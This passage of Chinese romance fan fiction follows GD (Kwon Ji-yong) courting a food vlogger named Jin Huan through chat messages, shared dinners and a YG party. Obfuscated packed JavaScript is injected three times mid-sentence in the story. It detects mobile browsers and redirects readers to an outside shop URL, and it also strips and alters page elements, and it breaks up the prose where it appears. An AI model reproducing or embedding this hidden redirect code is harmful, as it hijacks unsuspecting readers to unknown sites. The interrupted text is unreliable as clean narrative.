“不客气,”他说,“下次你请我吃排骨就行。” 金欢笑了。 “行。等我做了给你留一份。” 她拉开车门,下了车,弯腰对着车窗里的李朱赫说:“到家了跟我说一声。” ...... 权至龙透过车窗看着她的背影,裙子在夜风里轻轻飘着,她走路的姿势很随意,像一只悠闲散步的猫。 直到金欢的身影看不见了,权至龙还保持着那个姿势,微微侧着头,目光落在她消失的方向,嘴角的弧度没收。 李朱赫发动了车。路灯的光一节一节地从车窗上滑过,照在权至龙脸上,忽明忽暗。 李朱赫先开口:“你满意了?” 权至龙靠在座椅上,嘴角弯着。 “什么满意?” “别装了。你让我组织聚会,跟着我去接她,订餐厅、选位置、盛汤——你今晚每一步都是算好的。” 权至龙没有否认。 他只是看着车窗外倒退的路灯,轻声说了一句:“她说下次给我做排骨。” 李朱赫看了他一眼。 权至龙的表情柔和得不像话,眼睛里全是笑意。 “权至龙,你真的完了。” 权至龙笑了。 “我知道。” 车厢里又安静了几秒。 车子驶过一个路口,红灯。李朱赫踩下刹车,双手搭在方向盘上,没有转头看权至龙,但他的语气变了......不再是调侃,而是带着一种认真。 “至龙啊。” “嗯?” “金欢是我认识很久的妹妹。” 权至龙偏过头,看着李朱赫的侧脸。李朱赫没有看他,目光落在前方的红灯上,表情平静,但嘴角没有笑意。 “我跟她10年就认识了,”李朱赫继续说,“那时候她才十六岁,扎着马尾,在饭局上一点都不怯场。她一个人来韩国,没什么朋友,家里人托我多照顾她。” “她不是圈子里的人,”李朱赫说,声音不大,但每个字都很清楚,“也不追星,不看热搜,不关心谁红谁不红。你对她来说,不是什么GD,就只是今天一起吃饭的一个人。” 权至龙没有说话。 “所以你那些小动作,”李朱赫终于转过头来,“她都看到了,只是没接。” “我不是在劝退你,是想告诉你......她跟以前你交往过的那些女朋友不一样。她不会因为你是权至龙就对你另眼相看,也不会因为你的贴心服务就觉得你是什么白马王子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她那个人,”李朱赫说,语气缓和了一点,“看着懒散,其实比谁都清醒。你要是真的想追她,别耍那些小花招。她把你那些小动作都看穿了,只是懒得拆穿你。” 权至龙沉默了一会儿,然后问了一句:“那我应该怎么办?” 李朱赫难得地弯了一下嘴角。 “做你自己。她要是喜欢你,你什么都不用做她也喜欢;她要是不喜欢你,你把盘子转出花来也没用。” 权至龙消化了一下这句话,然后点了点头。 车子停在权至龙的工作室楼下。 权至龙拉开车门,一只脚踩在地上,忽然又回头看了一眼李朱赫。 “洙赫啊,谢谢。” 李朱赫:“你最好记住你今天说的话。” 回到家权至龙掏出手机,打开金欢的主页。她还没有发新动态,最新一条还是中午的红烧排骨。 他把那张照片又看了一遍,痴痴地笑了。 金欢回到家,换好拖鞋,走到沙发前,整个人陷进柔软的坐垫里。 她想起权至龙那只手,精准地把蟹黄最饱满的那一块转到她面前。 想起他挡在风口前面的背影,风忽然就小了。他站的位置,不多不少,刚好在她和风口之间。 ...... 金欢站在洗手台前对着镜子里的自己说:“金欢,你别想太多。人家可能就是顺手。” 镜子里的她没有反驳,但嘴角微微翘了一下。 13. 红烧排骨的约定 初次见面之后,金欢的手机多了一个常驻联系人。 “今天录节目,休息区供的餐。不好吃,酱太甜了。” 金欢看着这条消息,愣了一下。他们好像还没熟到可以互相吐槽工作餐的程度吧?但她还是回了:“年糕酱太甜确实不行,咸甜要平衡。下次你试试蘸醋吃,解腻。” 权至龙秒回:“真的?我试试。” 过了十分钟,又来一条:“蘸醋确实好吃。你怎么什么都知道?” 金欢:“因为我是吃货。” 权至龙:“那以后我有不知道的吃的,可以问你吗?” 金欢想了想,回了一个字:“行。” “今天路过这里,想起你上次说首尔的秋天好看。确实好看。” 金欢正在家里啃苹果,看着这张照片,嘴角不自觉地翘了一下。她把苹果核扔进垃圾桶,打字:“你还会记得我说过的话?” 权至龙:“你说过的话不多,好记。” 金欢盯着这句话看了三秒,决定不接这个话茬:“这棵树在哪?改天我也去拍张照。” 权至龙立刻发来一个定位,然后又发了一条:“要不要我现在去接你?刚好在附近。” 金欢:“不用。我自己有小白。” 权至龙:“小白是谁?” 金欢:“我的小电驴。” 权至龙发了一个表情包——一只猫瞪大眼睛,配文“???”。 权至龙发了一段视频。视频里是一只沙皮犬,在草地上疯狂地刨土,刨得满脸都是泥,然后抬起头,吐着舌头,一脸无辜。 “这家虎。你看他,是不是傻。” 金欢看完视频,直接笑趴在沙发上。五一听到动静,凑过来把脑袋搁在她腿上,好奇地看着手机屏幕。 “你家狗?”金欢问。 “嗯。还有一只猫,叫iye。你要看吗?” 不等金欢回答,对方已经发来了一连串照片——一只阿比西尼亚猫。 权至龙说:“iye超级高冷——小猫哭哭表情包。” 金欢一张一张地翻过去,表情逐渐融化。初一不知道什么时候从冰箱顶上跳下来,凑到手机屏幕前,用爪子拍了一下屏幕上的iye。 “初一,你干嘛?”金欢把手机拿开。 初一又叫了一声,语气不太高兴。金欢翻译了一下:“行,你看上人家了是吧?” 她给权至龙回消息:“初一看了iye的照片,有点激动。” 权至龙:“???猫也会一见钟情?” 金欢:“你管得着吗。” 权至龙发了一个笑脸,然后又发了一张iye的近距离特写,猫脸怼镜头. “这张送给初一。帮我问问初一,愿不愿意跟iye做朋友。” 金欢把手机屏幕对着初一:“人家问你了。” 初一舔了舔爪子,跳回冰箱顶上,给了金欢一个高贵的背影。金欢翻译:“它说,先见面再说。” 权至龙发了一串“哈哈哈哈哈哈”。 权至龙发来一张照片,是一个星黛露的限量版玩偶,穿着韩服。 “今天路过一家店看到的。第一反应就是——这个很适合你。” 金欢放大照片看了看,限量版,做工精致,价格肯定不便宜:“多少钱?我转给你。” 权至龙:“不用。送你的。” 金欢:“不要。你退了。” 权至龙:“退不了。买都买了。” 金欢:“那我不要。” 权至龙发来一条语音,声音带着一点委屈的尾音:“你就收下嘛。又不贵。而且真的很适合你。” 金欢听完语音,耳朵尖有点热:“那行吧。我请你吃饭。” 权至龙又发了一条语音,这次语气认真了一点:“行。那等我回去,你请我吃饭。你最擅长找美食了,带我去吃好吃的。” 金欢想了想,这个交换条件好像还行,请吃饭,她擅长的事。 “行。你什么时候有空?” “下周。等我回去联系你。” 金欢把手机放下,靠在沙发上,盯着天花板。 金欢摸了摸初一的背,喃喃自语:“他是不是在追我?” “你好,今天天气很号,你吃了吗?” 金欢:“你在学中文?” 权至龙:“对。在雪。很难。” 金欢:“是‘学’,不是‘雪’。” 权至龙声音奶呼呼的:“雪。学。我发不粗来那个音。” 金欢忍不住笑了:“你跟着我说——xué,二声,嘴巴收圆。” 权至龙发来一条语音,声音里带着一股认真劲儿:“xué……学。学中文。” 金欢:“有进步。” 权至龙立刻发来第二条:“谢谢老西。” 金欢:“是‘老师’。不是‘老西’。你是要把我当西瓜吗?” 权至龙:“老西。老西。我觉得‘老西’更可爱。” 金欢:“行吧,你开心就好。” 权至龙:“那你以后就是我老西了。老西好,老西辛苦了,老西什么时候带我吃饭?” 金欢看着这条消息,嘴角压都压不下去。 她发现权至龙这人有一个很厉害的本事,能在三句话之内,把任何话题都绕到“见面”这件事上。 “今天在工作室闲着没事,画了一双鞋。给你画的。你看这个猫咪,像不像初一?” 金欢放大照片,看到鞋面上画着一只猫,旁边还画了一只狗,吐着舌头,尾巴摇成螺旋桨,旁边写着“五一”。 金欢盯着那双鞋看了很久。 权至龙:“怎么了?不好看吗?” 金欢:“好看。但是太贵重了。我不能要。” 权至龙:“哪里贵重了?鞋是我自己的,颜料是工作室的,时间是我的休息时间。没花钱。” 金欢:“那也不能要。你画了那么久。” 权至龙:“那这样。鞋我留着,下次见面的时候你穿一下,让我看看效果。然后你再脱下来还我。这样总行了吧?” 金欢想了想,这个逻辑……好像哪里不对?穿一下然后脱下来还他?那她为什么要穿? 她还没来得及反驳,权至龙又发了一条:“就当帮你家初一和五一拍买家秀了。它们俩出镜,你负责穿鞋。合作愉快。” 金欢:“……你跟谁学的,这么会说话?” 权至龙:“没有。我只跟你这么说。” 这天权至龙很久没发消息。直到晚上十点,她正准备睡觉,手机终于亮了。 权至龙发来一段视频。视频里是一个录音棚,灯光昏暗,权至龙坐在调音台前,头发乱糟糟的,眼睛下面有淡淡的黑眼圈。他对着镜头挥了挥手,声音有点沙哑:“今天在录歌,忙了一天。刚看到手机。” 他顿了顿,忽然笑了:“我今天学了一句中文。你听听标不标准。” 他清了清嗓子,对着镜头一字一顿地说:“我想见你。” 发音很标准。 金欢把这段视频反复看了五遍,然后她把手机放在床头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484927|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜上,关灯,盖好被子,闭上眼睛。黑暗中,她的嘴角翘了起来。 她翻了个身,把脸埋进枕头里,小声骂了一句:“权至龙,你犯规。” 过了一周,金欢给李朱赫送了一些新做的吃食,这次是酱牛肉和卤鸡爪。她做了两罐,一罐自己留着,一罐给了李朱赫。 李朱赫拿到之后,发了一条ins,配文是:“朋友做的酱牛肉,世界上最好吃,不接受反驳。” 照片里,酱牛肉切成薄片,纹理分明,酱色油亮,看着就让人流口水。 权至龙看到这条ins的时候,正在工作室里写歌。 他盯着那张照片看了十秒钟,然后打开和金欢的聊天框,打了几个字又删掉,反复了三次,最后他放下手机,在工作室里来回走了两圈。 太阳进来正好看到权至龙这个样子,问:“你又怎么了?” 权至龙拿起手机,给太阳看李朱赫的ins:“你看。她又给洙赫做了吃的。酱牛肉。卤鸡爪。” 太阳看了一眼,又看了一眼权至龙那张写满委屈的脸,忍住笑:“所以呢?你不是也有吗?上次她不是给了你肉干?” “那是第一次见面给的。”权至龙的声音闷闷的,“后来她就没给过我。都是给洙赫。” 太阳想了想,诚恳地建议:“那你直接问她啊。你在这转圈有什么用?” 权至龙犹豫了一下,终于拿起了手机。 金欢正在家里给初一梳毛,初一最近掉毛厉害,梳下来的毛能团成一个球。 手机震了一下,金欢拿起来一看,是权至龙的消息。 “你答应我的红烧排骨,什么时候给我?” 金欢的手顿了一下,想起来了。初次见面那天,在餐厅门口,她确实说过“等我做了给你留一份”,但那是一个月前的事了。他还记得? 金欢盯着那条消息,耳朵尖开始发烫,她想说我什么时候答应过,但确实答应过。她张了张嘴,对着空气说了句:“他怎么记得这么清楚?” 手机又震了一下,“你给洙赫做了酱牛肉和卤鸡爪,都没给我。我连照片都没看到。还是看洙赫的ins才知道的。” 这条消息后面跟了一个表情包——一只小狗耷拉着耳朵,眼神可怜巴巴的。 金欢看着那个表情包,忍不住笑了。笑完之后,她又觉得自己笑得太容易了,于是收了收嘴角,打字:“你消息倒是灵通。洙赫欧巴刚发ins没几分钟吧?” 权至龙秒回:“我在关注他。不,我在关注你做的吃的。” 金欢把手机放在膝盖上,盯着屏幕思考了一下:“你什么时候有空?” 权至龙回消息,声音里带着一种压抑不住的雀跃:“我什么时候都有空。你说时间就行。” 金欢把手机扣在沙发上,站起来,在客厅里走了两步。然后拿起手机,尽量让自己的语气显得淡定:“那就这周六。来我家吃。我做红烧排骨,再加两个菜。” 权至龙秒回:“你家?可以带iye吗?他想跟初一玩。” 金欢:“……是你想带还是iye想带?” 权至龙:“都想。” 金欢看着这条消息,嘴角翘得压都压不下去。 她回了一个字:“行。” 然后她又补了一句:“不准带礼物。不准带任何‘不小心买了退不了’的东西。” 权至龙发来一个表情包——一只猫疯狂点头,表示好的好的。 金欢看着初一那个样子,叹了口气:“你倒是热情。人家带猫来,你别欺负人家。” 14. 闪亮亮的电灯泡 周六上午十一点。 金欢在厨房里忙得热火朝天。排骨已经在砂锅里炖了四十分钟,红烧的酱香弥漫了整个公寓。 金欢围着围裙,头发随便扎了个丸子头,脸上什么都没涂,但气色好得不像话。她尝了一口汤汁,点了点头:“咸淡刚好,再炖二十分钟收汁。” 权至龙发来消息:“出发了。iye已经进猫包了。” “对了,今天还有别人吗?” 金欢想了想,李朱赫昨天发消息说“周六中午有空,去你家蹭饭”。她还没来得及跟权至龙说。但转念一想,李朱赫是他们的共同朋友,一起吃个饭很正常吧? 她打字:“有。洙赫欧巴也来。他昨天说的。” 消息发出去之后,对面沉默了整整三十秒,然后权至龙回了一条语音。金欢点开,声音里带着一种努力压抑但还是溢出来的失望:“哦……洙赫也来啊……好的……那我也来……” 金欢听着那个“哦”字拖了足足两秒的尾音,忍不住笑了。 她又发了一条:“怎么了?你不喜欢跟洙赫欧巴吃饭?” 权至龙:“喜欢。特别喜欢。我最喜欢跟他吃饭了。” 这语气——咬牙切齿,翻译一下就是“我最讨厌跟他吃饭了”。 十一点四十五分,门铃响了。 权至龙站在门口,穿着一件黑色大衣,内搭蓝色高领条纹打底,带着一顶黑色帽子,看起来精心打理过但又装作随意。左手拎着一个纸袋,右手提着一个猫包。 猫包里,iye端坐着,琥珀色的眼睛又大又圆,浑身是红褐色短毛,姿态优雅又警觉。 “iye,”权至龙介绍,语气里带着一点骄傲,“看着可爱吧,就是比较高冷。” 金欢蹲下来,透过猫包的透明窗口看iye。iye也看着她,歪了歪头,然后发出一声细细的“喵”。 “好漂亮,”金欢真心实意地夸了一句,“阿比西尼亚猫很少见。” 权至龙的眼睛亮了一下:“你认识这个品种?” “我好歹也是养猫的人。”金欢站起来,侧身让他进来,“进来吧。” 权至龙换鞋的时候,目光往屋里扫了一圈。没看到李朱赫的鞋。 他心里燃起一丝希望:“洙赫还没到?” “他说十二点。”金欢看了一眼手机,“还有十五分钟。” 权至龙脸上的表情管理做得很好,但嘴角还是不受控制地往下耷拉了一度。 他把猫包放在客厅角落,拉开拉链。iye犹豫了一下,迈着优雅的步伐走出来,先环顾四周,然后看到了冰箱顶上的初一。 初一低头看着这只陌生的猫,尾巴尖轻轻摆了一下。iye仰头看着初一,耳朵转了转。 两只猫对视了一下。然后iye跳上沙发扶手,蜷成一团,开始舔爪子——态度是“我无所谓”。初一转过头,开始舔自己的尾巴——态度是“我也无所谓”。 金欢看着这一幕,小声对权至龙说:“这算……相处融洽?” 权至龙也小声回:“没打架就是融洽。” 权至龙把纸袋放在茶几上,金欢立刻说:“我说了不准带礼物。” “不是礼物,”权至龙面不改色,“是食材。你不是说要做饭吗?我带点食材来,很正常。” 金欢看了他一眼,没有拆穿。 十二点整,李朱赫提着一箱草莓来啦,穿着一件黑色卫衣,头发随意地垂在额前(Ps:俩人超级有缘分,black)。 “洙赫欧巴来了,”金欢招呼他,“进来吧。” 李朱赫走进客厅,看到权至龙已经坐在沙发上了,以一种非常放松的姿态靠着靠垫。iye蜷在他腿边。 “至龙也来了?”李朱赫的语气像是不知情,但权至龙看到他嘴角那抹笑就知道,这个人绝对是故意的,啊啊啊啊打扰他的二人独处。 “你不是说周六有事吗?”权至龙说。 “巧了,”李朱赫把草莓放进厨房,洗了手,在餐桌旁坐下来,“昨天临时取消了,就问金欢有没有空,她说周六中午做饭。我就来了。” 权至龙看着李朱赫那张“我只是来吃饭的”的脸,心里默默地给他记了一笔。 金欢把菜端上桌,红烧排骨、蒜蓉西兰花、番茄炒蛋、凉拌黄瓜,外加一锅热气腾腾的排骨汤。 红烧排骨是重头戏,色泽红亮,酱汁浓稠,香气直往鼻子里钻。 权至龙盯着那盘排骨,眼睛亮得像两颗星星。 “开饭,”金欢说。 权至龙第一筷子就夹了排骨。他咬了一口。“好吃,”他说,然后又夹了一块,含混不清地说,“真的好吃。” 李朱赫也夹了一块,点头:“比上次的酱牛肉还好吃。” 权至龙听到“上次的酱牛肉”,筷子顿了一下,但没说什么。 吃到一半,权至龙忽然站起来,走到茶几边,把那个纸袋拿过来,放在桌上。 “这是什么?”金欢问。 “说了,食材。” 权至龙从纸袋里拿出一个盒子。盒子是粉紫色的,上面印着一只穿着水手服的星黛露,戴着贝雷帽,手里拿着一只小号。盒子一角贴着一个金色的标签——“限定30体·首尔明洞旗舰店抽选贩卖”。 金欢看到那个标签,筷子差点掉了。 “这个是……水手服星黛露?”她的声音拔高了半度,“明洞那个抽选贩卖的?三十体那个?” 权至龙点头:“嗯。” “你怎么买到的?我抢了都没抢到好久!”金欢的眼睛瞪得圆圆的,语气里带着一种“你到底是什么运气”的震惊。 权至龙面不改色:“不是买的。是抽选中的。” 金欢:“……你中了?” “对。我去店里填了一张抽奖券,然后收到了中选通知。” 李朱赫正在喝汤,听到这句话,差点呛着。他放下汤碗,面无表情地看着权至龙:“你什么时候去明洞填的抽奖券?” 权至龙面不改色:“上个月。” “你一个人?” “对。” “你知道那个抽选的中签率是多少吗?”李朱赫转向金欢。 金欢说:“听说是一百比一。我让三个代购去抽,全都没中。” 李朱赫转头看向权至龙:“你运气这么好?” 权至龙的耳朵尖开始泛红,但他的表情依然镇定:“运气好,没办法。” 李朱赫沉默了两秒,然后说了一句让权至龙差点把筷子扔了的话:“你那个中选通知,能给我看看吗?” 权至龙:“……扔了。” “抽选中选通知一般会写‘中签号’和‘开奖日’,你连截图都没留?” “没留。” 李朱赫看了他三秒钟,然后转头对金欢说:“他骗你的。这只星黛露不是抽选中的,是他找人买的。二手市场溢价至少三倍,而且有价无市。他能拿到,说明他花了大价钱,或者动用了很多人脉。” 权至龙的耳朵彻底红了。 他低下头,声音变小了:“……我就是想送你。你上次说不要那只韩服的,但我觉得这只你一定会喜欢。你不是说没抢到吗?” 金欢看着他那双亮晶晶的眼睛和通红的耳朵,心里某个地方软了一下。 “你怎么知道我没抢到?”她问。 权至龙的声音更小了:“……你视频里说的。你说‘代购都没抢到,好难过’。” 金欢愣了一下。那是她两周前发的视频,结尾随口提了一句,总共不到十秒钟。他居然记得。 她深吸一口气,拿起那只星黛露,翻来覆去看了看。水手服、贝雷帽、小号,每一个细节都精致得不像话。她找了三个代购、蹲了两个晚上、刷新了无数遍页面都没抢到的东西,现在就在她手里。 “谢谢,”她说,声音比平时轻了一点,带着一种藏不住的开心,“这个我是真的想要。” 权至龙抬起头,嘴角的弧度慢慢变大。 李朱赫在旁边看着这一幕,端起汤碗,面无表情地喝了一口。他决定今天就不继续拆台了,毕竟排骨确实好吃。 吃完饭,权至龙没有要走的意思。 金欢开始收拾碗筷,权至龙站起来,挽起袖子:“我来洗碗。” “不用,”金欢说,“你是客人。” “我吃了你的排骨,应该的。” 权至龙端着碗筷走进厨房,打开水龙头,挤了洗洁精,开始认真地洗。他洗碗的动作不太熟练,但很仔细,每一个碗都里里外外洗了一遍,然后用清水冲干净,放在沥水架上。 金欢靠在厨房门框上看着他,嘴角微微翘着。 iye和初一已经在猫爬架上达成了一种微妙的和平共处——各占一层,互不干涉。五一趴在餐桌下面,肚子吃得圆滚滚的。 洗完了碗,权至龙擦干手,刚走出厨房,一个红色的身影从猫爬架上跳下来,迈着优雅的步伐走到他脚边。 是iye。她用脑袋蹭了蹭权至龙的脚踝,然后抬起头,琥珀色的眼睛看着他,发出一声细细的“喵”。 权至龙蹲下来,挠了挠iye的下巴。iye发出满足的呼噜声,然后忽然转身,走向金欢,用同样的姿势蹭了蹭金欢的脚踝。 金欢蹲下来,轻轻摸了摸iye的背。阿比西尼亚猫的毛短而密,手感像丝绸。 “它好亲人,”金欢说。 “它对陌生人一般,”权至龙说,“它很喜欢你。” 金欢抬头看了他一眼。这句话,好像不只是说猫。 下午三点,权至龙终于舍得走了。 他站在门口换鞋,iye已经乖乖地进了猫包,趴在软垫上,琥珀色的眼睛半眯着。 “下次再来,”金欢说,“iye可以跟初一多待一会儿。” 权至龙点头:“下次我带家虎。他跟五一还没见过面。” “行。” 金欢:“星黛露的事,谢谢你。我是真的很喜欢。” 权至龙看着这条消息,在车里笑了好一会儿。 他回:“不客气。下次看到限量版再帮你留意。” 金欢:“你别再花钱了。” 权至龙:“没花钱。真的是抽选中的。” 金欢发了一个翻白眼的表情包。 隔了两天,权至龙又发来消息。 “我发现了一家很好吃的店。你肯定喜欢。” 金欢正在剪视频,看到这条消息,手指停了一下。 “什么店?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484928|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“韩牛店。老板是庆尚道人,烤肉的手法跟首尔的不一样。我去吃过一次,觉得你会喜欢。” 金欢的好奇心被勾起来:“什么时候?” “今晚。我去接你。” 晚上七点,权至龙的车停在金欢公寓楼下。这次他没有让司机开,是自己开的车——一辆黑色的奔驰。 权至龙开车很稳,双手搭在方向盘上,偶尔看一眼后视镜。金欢靠在座椅上,看着窗外的夜景。 餐厅藏在一条小巷子里,门面不大,但里面很宽敞。老板是个六十多岁的大叔,看到权至龙,笑着打招呼:“来了?今天带朋友了?” 权至龙点头:“带了一个很会吃的朋友。” 金欢被这句介绍逗笑了。 老板把他们领到靠窗的位置,递上菜单。金欢翻开一看,菜单很简单,就几样:韩牛肋眼、韩牛牛舌、大酱汤、泡菜饼。 金欢点了几样,肉上来了。权至龙亲自烤,把牛肋眼铺在炭火上,滋滋作响。整顿饭,权至龙几乎没怎么自己吃。他在不停地默默服务。 肉烤好了,剪下来,放进金欢碗里;茶杯空了,权至龙的手就伸过来,提起茶壶添水;金欢夹菜的时候,袖口差点蹭到烤盘边缘,权至龙不动声色地伸手挡了一下,把烤盘往旁边挪了半寸。 金欢吃到一半,辣得吸了一口气。一杯水就递到了手边,温度刚好。她抬头看权至龙,权至龙正在低头给自己倒水,好像什么都没发生。 但金欢注意到,他自己碗里的肉还没怎么动,好几块已经凉了。 “你自己吃啊,”金欢说,“别光顾着我。” 权至龙夹了一块凉了的肉放进嘴里,嚼了嚼,面不改色:“在吃。” 金欢看着他吃凉肉的样子,心里忽然有点说不上来的感觉。 她拿起夹子,从烤盘上夹了一块刚烤好的牛舌,放进权至龙碗里。 “吃热的。” 权至龙看着碗里那块牛舌,愣了一下,然后嘴角慢慢弯了起来。 他把牛舌放进嘴里,咀嚼的时候眼睛一直看着金欢。 “好吃,”他说,但那个表情分明不是在说肉。 结账的时候,金欢先开口了:“我来。上次说好我请的。” 她拿出钱包,抽出一张卡。 权至龙按住她的手:“今天是我约你出来的。我请。” 金欢看着他按在自己手腕上的手——修长的手指,骨节分明,力道不重但很坚定。 “你上次也这么说,”金欢没抽手,但语气很坚持,“说了下次我请。这次是‘下次’。” “那不算。那次是我提议的,所以还是我请。” “你这逻辑不对。” “我的逻辑很对。” 两个人僵持了几秒。老板拿着刷卡机站在旁边,看看这个又看看那个,嘴角挂着一种“我懂”的笑容。 权至龙忽然换了一个策略。他把声音放轻了一点,带着一点撒娇的尾音:“这样。这次我请,下次你请。然后下次你请的时候,多给我做一份红烧排骨带走。行不行?” 金欢看着他亮晶晶的眼睛,耳朵尖开始发烫。 “你这是把一次人情拆成了两次。” “没有。排骨是排骨,饭是饭。分开算。” 金欢深吸一口气,把卡收了回去。 “行。”权至龙笑了,笑得眼睛弯成月牙形。 走出餐厅,首尔的夜风吹过来,“要不要去汉江边走走?”他问,“消消食。你刚才吃了不少。” 金欢想了想,确实吃多了,回去躺着也难受。 “行。” 车停在汉江公园附近的停车场,两个人沿着江边慢慢走。 江面上倒映着桥上的灯光,风吹过来,水波荡漾,灯光碎成一片一片的金色。 权至龙走在她左边,步速不快,刚好配合她的节奏。两个人之间的距离大概半臂,不远不近。 “金欢。”权至龙忽然叫她。 “嗯?” “上次你说‘还可以’。现在数据够了吗?” 金欢转过头看他。路灯的光落在他脸上,橘色的头发在夜风里微微飘动,他的眼睛很亮,带着一种认真又忐忑的表情。 金欢看了他两秒,然后转过头,继续往前走。 “还在收集中,”她说,嘴角翘着。 权至龙笑了:“那你收集快一点。我的数据更新速度很快。” 两个人并肩走在汉江边,影子被路灯拉得很长,交叠在一起。 车子停在金欢公寓楼下。 金欢解开安全带,拉开车门,一只脚踩在地上,回头看了他一眼。 “开车小心。” “好。” 金欢关上车门,走进公寓楼。权至龙没有立刻开走。他看着那扇门关上,看着楼道的灯一层一层地亮上去,直到金欢家亮起了灯。 他拿出手机,给金欢发了一条消息:“到家了跟我说。” 金欢秒回:“到了。你在楼下?” 权至龙:“嗯。看你灯亮了就走。” 对面沉默了几秒。然后金欢发来一张照片——从窗户往下拍的,他的黑色奔驰停在路灯下,车顶反射着暖黄色的光。 “晚安,权至龙。” 15. 拿错杯子 权至龙的巡演告一段落,YG在江南一家夜店包了场,办了一场庆功party。 权至龙给金欢发了一条消息:“今晚有个聚会,都是朋友,你来吗?” 金欢看到这条消息,犹豫了一下。夜店、聚会、一群人——这些都是她这个“低电量”人士的耗电大户。 权至龙又发了一条:“不用待很久。就来看看,随便玩玩。我送你。” 金欢想了想,回了一个字:“行。” 她难得地打开衣柜翻了翻,挑了一件黑色的吊带连衣裙。裙子刚好在膝盖上方,领口开得恰到好处,露出一截锁骨。外面套了一件宽松的黑色西装外套,脚踩一双细带高跟鞋。 晚上十点,金欢到了夜店门口。 门口站着两个安保,看到她的时候明显愣了一下——漂亮得让人移不开眼睛。 安保核对名单后放行。金欢推开门的瞬间,里面的音乐声、笑声、酒杯碰撞声混在一起,扑面而来。 她走进去,高跟鞋踩在地板上,发出清脆的声响,但被音乐盖住了。她摘下墨镜,脸在变幻的灯光下反而更显轮廓。高挺的鼻梁,流畅的下颌线,眼角那颗红痣在紫色灯光下像是会发光。 周围的声音忽然小了几度,几个正在聊天的人不自觉地转头,目光追着这个穿黑色吊带裙的女人从门口走向吧台。 有人小声问:“那是谁?” “不知道。模特?” “不像。她的气场……不太一样。” 金欢对这些目光浑然不觉,或者说,她注意到了但懒得在意。她走到吧台前,扫了一眼,没看到权至龙,便拿出手机发消息:“我到了。” 权至龙:“往里面走。我在DJ台旁边。” 权至龙站在DJ台旁边,正跟鸟叔说着什么。余光扫到一个黑色的身影走过来,转头......然后他的动作停了。 金欢站在他面前,黑色吊带裙。灯光落在她肩膀上,锁骨下方的皮肤在黑色的衬托下白得发光。 权至龙盯着她看了两秒钟,然后嘴角慢慢弯了起来。 PSY在旁边看着这一幕,笑呵呵地伸出手:“你就是金欢?至龙提过你。我是鸟叔。” 金欢握手:“我知道。‘江南Style’嘛。骑马舞很有趣。” PSY愣了一下,然后笑起来:“有眼光!” 权至龙把金欢带到卡座区,CL、朴春、Dara正坐在一起喝酒聊天,旁边还有Soojoo和几个YG的工作人员。 “这是金欢,”权至龙介绍,语气里带着一种藏不住的小得意,“我朋友。” CL抬起头,目光在金欢脸上停了两秒,然后点了点头:“我知道你。金欢。我看过你的视频。” 金欢有点意外:“你看中文视频?” “有韩语字幕,”CL说,端起酒杯,“你做的那个麻辣猪肉脯,看起来很好吃。” “下次带给你尝尝,”金欢说。 朴春凑过来,眼睛亮晶晶的:“我也想尝尝!你做的那个杏仁酥看着好好吃!” 几个女生很快就聊开了,聊到一半,金欢有点渴了,随手从桌上拿了一杯饮料。 她喝了一大口。 入口才发现不对。不是果汁,是威士忌加冰,烈得她难受。 然后她低头看了看手里的杯子,又看了看桌上——她的那杯果汁还在原来的位置,旁边空了一小截距离。而她拿的这杯,是权至龙的。 金欢的耳朵瞬间红了。 她悄悄把杯子放回原处,假装什么都没发生。但权至龙已经看到了,他一直在用余光看她。 他嘴角弯了一下,没有戳穿,甚至故意转过头去跟鸟叔聊天,装作无事发生。 但金欢的脸红没有退,她端起自己的果汁喝了一口,目光游离,不敢看权至龙的方向。 过了几分钟,权至龙才转回来,语气自然得像什么都没注意到:“要不要吃点东西?吧台有小吃。” 金欢:“……好。” 她站起来走向吧台,步子比平时快了一点。 CL看着她的背影,又看了一眼权至龙嘴角那抹藏不住的笑,低声说:“你故意的?” 权至龙无辜脸:“什么故意的?” CL翻了个白眼,没说话。 过了大概半小时,音乐忽然换了。 一阵强烈得鼓点从音响里炸出来——temple,贝斯线压得很低,节拍像是从地底下往上涌。 金欢抬头看向DJ台。 权至龙穿着黑色衬衫,袖子卷到小臂,露出一截手腕和几根简单的银链。灯光打在他身上,蓝色的光扫过他的侧脸,勾勒出鼻梁和下颚的线条。 他的状态跟平时完全不一样。一只手按在耳机上,另一只手在打碟机上滑动,动作行云流水。 金欢靠在吧台边,手里端着果汁,目光落在DJ台上。 权至龙玩了一会儿,抬手擦了擦额角的汗,然后偏过头,目光穿过人群,找到了她。 两个人的视线在变幻的灯光中撞上了。 权至龙嘴角弯了一下,然后收回目光,继续调音。但那个笑容被金欢看得清清楚楚。 金欢的心脏跳了一下,看着DJ台上的权至龙——他手指在打碟机上滑动时的精准,他跟着节拍微微点头的律动,他偶尔抬头扫视全场时那种“老子掌控一切”的眼神。 好喜欢。 这三个字在她脑海里冒出来的时候,她自己都愣了一下。 金欢低下头,喝了一大口果汁,试图盖过心里那个声音。 